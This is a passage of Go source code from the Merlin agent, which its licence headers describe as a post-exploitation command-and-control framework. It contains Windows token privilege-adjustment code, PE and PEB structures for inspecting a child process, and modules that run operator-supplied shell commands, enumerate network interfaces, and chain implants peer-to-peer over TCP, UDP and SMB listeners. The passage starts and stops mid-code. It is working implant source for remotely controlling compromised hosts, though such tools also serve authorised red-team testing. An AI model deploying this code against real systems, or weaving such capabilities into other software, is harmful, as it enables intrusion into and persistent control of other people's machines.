procAdjustTokenPrivileges := modadvapi32.NewProc("AdjustTokenPrivileges")
procLookupPriv := modadvapi32.NewProc("LookupPrivilegeValueW")
var tokenHandle syscall.Token
thsHandle, err := syscall.GetCurrentProcess()
if err != nil {
return err
}
syscall.OpenProcessToken(
//r, a, e := procOpenProcessToken.Call(
thsHandle, // HANDLE ProcessHandle,
syscall.TOKEN_ADJUST_PRIVILEGES, // DWORD DesiredAccess,
&tokenHandle, // PHANDLE TokenHandle
)
var luid LUID
r, _, e := procLookupPriv.Call(
uintptr(0), //LPCWSTR lpSystemName,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(s))), //LPCWSTR lpName,
uintptr(unsafe.Pointer(&luid)), //PLUID lpLuid
)
if r == 0 {
return e
}
SE_PRIVILEGE_ENABLED := uint32(0x00000002)
privs := TOKEN_PRIVILEGES{}
privs.PrivilegeCount = 1
privs.Privileges[0].Luid = luid
privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
//AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0)
r, _, e = procAdjustTokenPrivileges.Call(
uintptr(tokenHandle),
uintptr(0),
uintptr(unsafe.Pointer(&privs)),
uintptr(0),
uintptr(0),
uintptr(0),
)
if r == 0 {
return e
}
return nil
}
// PEB is the Process Environment Block structure that contains information about a process
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
// http://bytepointer.com/resources/tebpeb32.htm
// https://www.nirsoft.net/kernel_struct/vista/PEB.html
type PEB struct {
//reserved1 [2]byte // BYTE 0-1
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
// ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
// IsProtectedProcess : 1; //0x0003:1 (Vista+)
// IsLegacyProcess : 1; //0x0003:2 (Vista+)
// IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
// SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
// IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
// IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
// SpareBit : 1; //0x0003:7
//reserved3 [2]uintptr // PVOID BYTE 4-8
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
// Read the child program's DOS header and validate it is a MZ executable
type IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
// Read the child process's PE file header
/*
typedef struct _IMAGE_FILE_HEADER {
USHORT Machine;
USHORT NumberOfSections;
ULONG TimeDateStamp;
ULONG PointerToSymbolTable;
ULONG NumberOfSymbols;
USHORT SizeOfOptionalHeader;
USHORT Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
*/
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
// Read the child process's PE optional header to find it's entry point
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
typedef struct _IMAGE_OPTIONAL_HEADER64 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
ULONGLONG ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
ULONGLONG SizeOfStackReserve;
ULONGLONG SizeOfStackCommit;
ULONGLONG SizeOfHeapReserve;
ULONGLONG SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
*/
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
/*
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
*/
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
================================================
FILE: commands/execute.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// ExecuteCommand runs the provided input program and arguments, returning results in a message base
func ExecuteCommand(cmd jobs.Command) jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for executeCommand function: %+v", cmd))
cli.Message(cli.SUCCESS, fmt.Sprintf("Executing command: %s %s", cmd.Command, cmd.Args))
var results jobs.Results
if cmd.Command == "shell" {
results.Stdout, results.Stderr = shell(cmd.Args)
} else {
results.Stdout, results.Stderr = executeCommand(cmd.Command, cmd.Args)
}
if results.Stderr != "" {
cli.Message(cli.WARN, fmt.Sprintf("There was an error executing the command: %s %s", cmd.Command, cmd.Args))
cli.Message(cli.SUCCESS, results.Stdout)
cli.Message(cli.WARN, fmt.Sprintf("Error: %s", results.Stderr))
} else {
cli.Message(cli.SUCCESS, fmt.Sprintf("Command output:\r\n\r\n%s", results.Stdout))
}
return results
}
================================================
FILE: commands/ifconfig.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
"fmt"
"net"
)
// ifconfig enumerates the network interfaces and their configuration
func ifconfig() (stdout string, err error) {
ifaces, err := net.Interfaces()
if err != nil {
return "", err
}
for _, i := range ifaces {
stdout += fmt.Sprintf("%s\n", i.Name)
stdout += fmt.Sprintf(" MAC Address\t%s\n", i.HardwareAddr.String())
addrs, err := i.Addrs()
if err != nil {
return "", err
}
for _, a := range addrs {
stdout += fmt.Sprintf(" IP Address\t%s\n", a.String())
}
}
return stdout, nil
}
================================================
FILE: commands/ifconfig_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/package commands
import (
"fmt"
"net"
"syscall"
"unsafe"
)
// ifconfig enumerates the network interfaces and their configuration
// Much of this is ripped from interface_windows.go
func ifconfig() (stdout string, err error) {
fSize := uint32(0)
b := make([]byte, 1000)
ifaces, err := net.Interfaces()
if err != nil {
return "", err
}
var adapterInfo *syscall.IpAdapterInfo
adapterInfo = (*syscall.IpAdapterInfo)(unsafe.Pointer(&b[0]))
err = syscall.GetAdaptersInfo(adapterInfo, &fSize)
// Call it once to see how much data you need in fSize
if err == syscall.ERROR_BUFFER_OVERFLOW {
b := make([]byte, fSize)
adapterInfo = (*syscall.IpAdapterInfo)(unsafe.Pointer(&b[0]))
err = syscall.GetAdaptersInfo(adapterInfo, &fSize)
if err != nil {
return "", err
}
}
for _, iface := range ifaces {
for ainfo := adapterInfo; ainfo != nil; ainfo = ainfo.Next {
if int(ainfo.Index) == iface.Index {
stdout += fmt.Sprintf("%s\n", iface.Name)
stdout += fmt.Sprintf(" MAC Address\t%s\n", iface.HardwareAddr.String())
ipentry := &ainfo.IpAddressList
for ; ipentry != nil; ipentry = ipentry.Next {
stdout += fmt.Sprintf(" IP Address\t%s\n", ipentry.IpAddress.String)
stdout += fmt.Sprintf(" Subnet Mask\t%s\n", ipentry.IpMask.String)
}
gateways := &ainfo.GatewayList
for ; gateways != nil; gateways = gateways.Next {
stdout += fmt.Sprintf(" Gateway\t%s\n", gateways.IpAddress.String)
}
if ainfo.DhcpEnabled != 0 {
stdout += fmt.Sprintf(" DHCP\t\tEnabled\n")
dhcpServers := &ainfo.DhcpServer
for ; dhcpServers != nil; dhcpServers = dhcpServers.Next {
stdout += fmt.Sprintf(" DHCP Server:\t%s\n", dhcpServers.IpAddress.String)
}
} else {
stdout += fmt.Sprintf(" DHCP\t\tDisabled\n")
}
stdout += "\n"
}
}
}
return stdout, nil
}
================================================
FILE: commands/link.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"bytes"
"encoding/base64"
"encoding/binary"
"encoding/gob"
"fmt"
"math"
"math/rand"
"net"
"strings"
"time"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
"github.com/Ne0nd0g/merlin-agent/v2/p2p"
p2pService "github.com/Ne0nd0g/merlin-agent/v2/services/p2p"
)
// peerToPeerService is used to work with peer-to-peer Agent connections/link to include handling or getting Delegate messages
var peerToPeerService *p2pService.Service
func init() {
peerToPeerService = p2pService.NewP2PService()
}
// Link connects to the provided target over the provided protocol and establishes a peer-to-peer connection with the Agent
func Link(cmd jobs.Command) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Link(): entering into function with %+v", cmd))
if len(cmd.Args) < 1 {
return jobs.Results{Stderr: fmt.Sprintf("expected 1 argument with the link command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
// switch on first argument
switch strings.ToLower(cmd.Args[0]) {
case "list":
results.Stdout = peerToPeerService.List()
return
case "tcp":
if len(cmd.Args) < 2 {
return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link tcp command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
return Connect("tcp", cmd.Args[1:])
case "udp":
if len(cmd.Args) < 2 {
return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link udp command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
return Connect("udp", cmd.Args[1:])
case "smb":
if len(cmd.Args) < 3 {
return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link smb command, received %d: %+v\n Example: link smb 192.168.1.1 merlinPipe", len(cmd.Args), cmd.Args)}
}
return ConnectSMB(cmd.Args[1], cmd.Args[2])
case "refresh":
results.Stdout = peerToPeerService.Refresh()
return
case "remove":
if len(cmd.Args) < 2 {
return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link remove command, received %d: %+v\n Example: link remove 8ee688aa-de70-47ea-9a54-155524b2b1c6", len(cmd.Args), cmd.Args)}
}
// Validate that the provided ID is a valid UUID
id, err := uuid.Parse(cmd.Args[1])
if err != nil {
results.Stderr = fmt.Sprintf("commands/link.Link(): there was an error converting %s to a valid UUID for the link remove command: %s", cmd.Args[1], err)
return
}
err = peerToPeerService.Remove(id)
if err != nil {
results.Stderr = fmt.Sprintf("commands/link.Link(): there was an error removing the link: %s", err)
return
}
results.Stdout = fmt.Sprintf("Successfully removed P2P link for %s", id)
return
default:
return jobs.Results{
Stderr: fmt.Sprintf("Unhandled link type: %s", cmd.Args[0]),
}
}
}
// Connect establishes a TCP or UDP connection to a tcp-bind or udp-bind peer-to-peer Agent
func Connect(network string, args []string) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): entering into function with network: %s, args: %+v", network, args))
var linkType int
switch strings.ToLower(network) {
case "tcp":
linkType = p2p.TCPBIND
case "udp":
linkType = p2p.UDPBIND
}
// args[0] = target (e.g., 192.168.1.10:8080)
if len(args) <= 0 {
results.Stderr = fmt.Sprintf("Expected 1 argument, received %d", len(args))
return
}
// See if there is already a link or connection to the target IP & Port
link, ok := peerToPeerService.Connected(linkType, args[0])
if ok {
results.Stderr = fmt.Sprintf("already connected to %s: %s:%s\n", link.Remote(), link.String(), link.ID())
return
}
var err error
var conn net.Conn
// Establish connection to downstream agent
switch linkType {
case p2p.TCPBIND, p2p.UDPBIND:
conn, err = net.Dial(network, args[0])
default:
err = fmt.Errorf("unhandled linked Agent type: %d", linkType)
}
if err != nil {
results.Stderr = fmt.Sprintf("commands/link.Connect(): there was an error attempting to link the agent: %s", err.Error())
return
}
var n int
// We must first write data to the UDP connection to let the UDP bind Agent know we're listening and ready
if linkType == p2p.UDPBIND {
junk := core.RandStringBytesMaskImprSrc(rand.Intn(100)) // #nosec G404 random number is not used for secrets
b64 := make([]byte, base64.StdEncoding.EncodedLen(len(junk)))
base64.StdEncoding.Encode(b64, []byte(junk))
// Add in Tag/Type and Length for TLV
tag := make([]byte, 4)
binary.BigEndian.PutUint32(tag, 1)
length := make([]byte, 8)
binary.BigEndian.PutUint64(length, uint64(len(b64)))
// Create TLV
outData := append(tag, length...)
outData = append(outData, b64...)
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Added Tag: %d and Length: %d to data size of %d", tag, len(b64), len(outData)))
// Determine number of fragments based on MaxSize
MaxSize := 1450
fragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize)))
// Write the message
cli.Message(cli.NOTE, fmt.Sprintf("Initiating UDP connection to %s sending junk data: %s", conn.RemoteAddr(), junk))
cli.Message(cli.NOTE, fmt.Sprintf("Writing message size %d bytes equaling %d fragments to %s at %s", len(outData), fragments, conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
var m int
var i int
size := len(outData)
for i < fragments {
start := i * MaxSize
var stop int
// if bytes remaining are less than max size, read until the end
if size < MaxSize {
stop = len(outData)
} else {
stop = (i + 1) * MaxSize
}
m, err = conn.Write(outData[start:stop])
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Wrote %d bytes to connection %s at %s", m, conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
if err != nil {
results.Stderr = fmt.Sprintf("commands/link.Connect(): there was an error writing data to the UDP connection: %s", err)
return
}
i++
size = size - MaxSize
// UDP packets seemed to get dropped if too many are sent too fast
if fragments > 100 {
time.Sleep(time.Millisecond * 10)
}
}
// Wait for linked agent first checking message
cli.Message(cli.NOTE, fmt.Sprintf("Waiting to recieve UDP connection from %s at %s...", conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))
}
var tag uint32
var length uint64
var buff bytes.Buffer
for {
data := make([]byte, 4096)
// Need to have a read on the network connection for data here in this function to retrieve the linked Agent's ID so the linkedAgent structure can be stored
n, err = conn.Read(data)
if err != nil {
msg := fmt.Sprintf("there was an error reading data from linked agent %s: %s", args[0], err)
results.Stderr = msg
cli.Message(cli.WARN, msg)
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Read %d bytes from linked %s agent %s at %s", n, p2p.String(linkType), args[0], time.Now().UTC().Format(time.RFC3339)))
// Add the bytes to the buffer
n, err = buff.Write(data[:n])
if err != nil {
msg := fmt.Sprintf("commands/link.Connect(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, args[0], err)
results.Stderr = msg
cli.Message(cli.WARN, msg)
return
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(data[:4])
if tag != 1 {
msg := fmt.Sprintf("commands/link.Connect(): Expected a type/tag value of 1 for TLV but got %d", tag)
results.Stderr = msg
cli.Message(cli.WARN, msg)
return
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("command/link.Connect(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(data[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("command/link.Connect(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("command/link.Connect(): Read %d of %d bytes into the buffer", buff.Len(), length+4+8))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from linked %s agent %s at %s", buff.Len(), p2p.String(linkType), args[0], time.Now().UTC().Format(time.RFC3339)))
// Decode GOB from server response into Base
var msg messages.Delegate
// First 4-bytes are for the Type/Tag, next 8-bytes are for the Length in TLV
reader := bytes.NewReader(buff.Bytes()[12:])
errD := gob.NewDecoder(reader).Decode(&msg)
if errD != nil {
err = fmt.Errorf("there was an error decoding the gob message:\r\n%s", errD.Error())
return
}
// Store LinkedAgent
linkedAgent := p2p.NewLink(msg.Agent, msg.Listener, conn, linkType, conn.RemoteAddr())
peerToPeerService.AddLink(linkedAgent)
peerToPeerService.AddDelegate(msg)
results.Stdout = fmt.Sprintf("Successfully connected to %s Agent %s at %s", linkedAgent.String(), msg.Agent, args[0])
// The listen function is in commands/listen.go
go listen(conn, linkType)
return
}
================================================
FILE: commands/listener.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"bytes"
"encoding/binary"
"encoding/gob"
"errors"
"fmt"
"io"
"net"
"strings"
"time"
// Merlin
"github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/p2p"
)
const (
TCP = 0
UDP = 1
SMB = 2
)
const (
// MaxSizeUDP is the maximum size that a UDP fragment can be, following the moderate school of thought due to 1500 MTU
// http://ithare.com/udp-from-mog-perspective/
MaxSizeUDP = 1450
)
// p2pListener is a structure for managing and tracking peer to peer listeners created on this Agent as the parent used
// to communicate with child Agents
type p2pListener struct {
Addr string // Addr is a string representation of the address the listener is communicating with
Listener interface{} // Listener holds the connection (e.g., net.Listener for TCP and net.PacketConn for UDP)
Type int // Type is the p2pListener type
}
// String returns a string representation of the p2pListener
func (p *p2pListener) String() string {
switch p.Type {
case TCP:
return "TCP"
case UDP:
return "UDP"
case SMB:
return "SMB"
default:
return fmt.Sprintf("commands/listener/p2pListener.String() unhandled p2pListener type %d", p.Type)
}
}
// p2pListeners is a slice of instantiated network listeners
var p2pListeners []p2pListener
// Listener binds to the provided interface and port and begins listening for incoming connections from other peer-to-peer agents
func Listener(cmd jobs.Command) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("commands/listen.Listener(): entering into function with %+v", cmd))
defer cli.Message(cli.DEBUG, fmt.Sprintf("commands/listen.Listener(): exiting function with results: %+v", results))
if len(cmd.Args) < 1 {
return jobs.Results{Stderr: fmt.Sprintf("expected 1 arguments with the listener command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
// switch on first argument
switch strings.ToLower(cmd.Args[0]) {
case "list":
results.Stdout = fmt.Sprintf("Peer-to-Peer Listeners (%d):\n", len(p2pListeners))
for i, listener := range p2pListeners {
results.Stdout += fmt.Sprintf("%d. %s listener on %s\n", i, listener.String(), listener.Addr)
}
return
case "start":
if len(cmd.Args) < 3 {
return jobs.Results{Stderr: fmt.Sprintf("expected 3 arguments with the listener command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
switch strings.ToLower(cmd.Args[1]) {
case "tcp":
err := ListenTCP(cmd.Args[2])
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = fmt.Sprintf("Successfully started TCP listener on %s", cmd.Args[2])
return
case "udp":
err := ListenUDP(cmd.Args[2])
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = fmt.Sprintf("Successfully started UDP listener on %s", cmd.Args[2])
return
case "smb":
err := ListenSMB(cmd.Args[2])
if err != nil {
results.Stderr = err.Error()
return
}
results.Stdout = fmt.Sprintf("Successfully started SMB listener on \\\\.\\pipe\\%s", cmd.Args[2])
return
default:
results.Stderr = fmt.Sprintf("Unknown listener type %s", cmd.Args[1])
}
case "stop":
if len(cmd.Args) < 3 {
return jobs.Results{Stderr: fmt.Sprintf("expected 3 arguments with the listener command, received %d: %+v", len(cmd.Args), cmd.Args)}
}
switch strings.ToLower(cmd.Args[1]) {
case "smb":
for i, listener := range p2pListeners {
if listener.Type == SMB {
if listener.Listener.(net.Listener).Addr().String() == fmt.Sprintf("\\\\.\\pipe\\%s", cmd.Args[2]) {
err := listener.Listener.(net.Listener).Close()
if err != nil {
results.Stderr = err.Error()
} else {
results.Stdout = fmt.Sprintf("Successfully closed SMB listener on %s", cmd.Args[2])
}
p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)
return
}
}
}
results.Stderr = fmt.Sprintf("Unable to find and close SMB listener on %s", cmd.Args[2])
case "tcp":
for i, listener := range p2pListeners {
if listener.Type == TCP {
if listener.Listener.(net.Listener).Addr().String() == cmd.Args[2] {
err := listener.Listener.(net.Listener).Close()
if err != nil {
results.Stderr = err.Error()
} else {
results.Stdout = fmt.Sprintf("Successfully closed TCP listener on %s", cmd.Args[2])
}
p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)
return
}
}
}
results.Stderr = fmt.Sprintf("Unable to find and close TCP listener on %s", cmd.Args[2])
case "udp":
for i, listener := range p2pListeners {
if listener.Type == UDP {
if listener.Listener.(net.PacketConn).LocalAddr().String() == cmd.Args[2] {
err := listener.Listener.(net.PacketConn).Close()
if err != nil {
results.Stderr = err.Error()
} else {
results.Stdout = fmt.Sprintf("Successfully closed UDP listener on %s", cmd.Args[2])
}
p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...)
return
}
}
}
results.Stderr = fmt.Sprintf("Unable to find and close UDP listener on %s", cmd.Args[2])
default:
results.Stderr = fmt.Sprintf("Unknown listener type %s", cmd.Args[1])
}
return
default:
return jobs.Results{
Stderr: fmt.Sprintf("Unknown listener command: %s", cmd.Args[0]),
}
}
return
}
// ListenTCP binds to the provided address and listens for incoming TCP connections
func ListenTCP(addr string) error {
listener, err := net.Listen("tcp", addr)
if err != nil {
return fmt.Errorf("commands/listen.TCPListen(): there was an error listening on %s : %s", addr, err)
}
// Add to global listeners
var ok bool
var l p2pListener
for _, l = range p2pListeners {
if l.Type == TCP {
// Check to see if there is already a p2pListener in the map for this address
if listener.Addr() == l.Listener.(net.Listener).Addr() {
ok = true
break
}
}
}
if !ok {
l = p2pListener{
Addr: listener.Addr().String(),
Listener: listener,
Type: TCP,
}
p2pListeners = append(p2pListeners, l)
}
cli.Message(cli.NOTE, fmt.Sprintf("Started TCP listener on %s and waiting for a connection...", addr))
// Listen for initial connection from upstream agent
go accept(listener, p2p.TCPREVERSE)
return nil
}
// ListenUDP binds to the provided address and listens for incoming UDP connections
func ListenUDP(addr string) error {
listener, err := net.ListenPacket("udp", addr)
if err != nil {
return fmt.Errorf("commands/listen.ListenUDP(): there was an error listening on %s : %s", addr, err)
}
cli.Message(cli.NOTE, fmt.Sprintf("Started UDP listener on %s and waiting for a connection...", addr))
// Add to global listeners
var ok bool
for _, l := range p2pListeners {
if l.Type == UDP {
if listener.LocalAddr() == l.Listener.(net.PacketConn).LocalAddr() {
ok = true
}
}
}
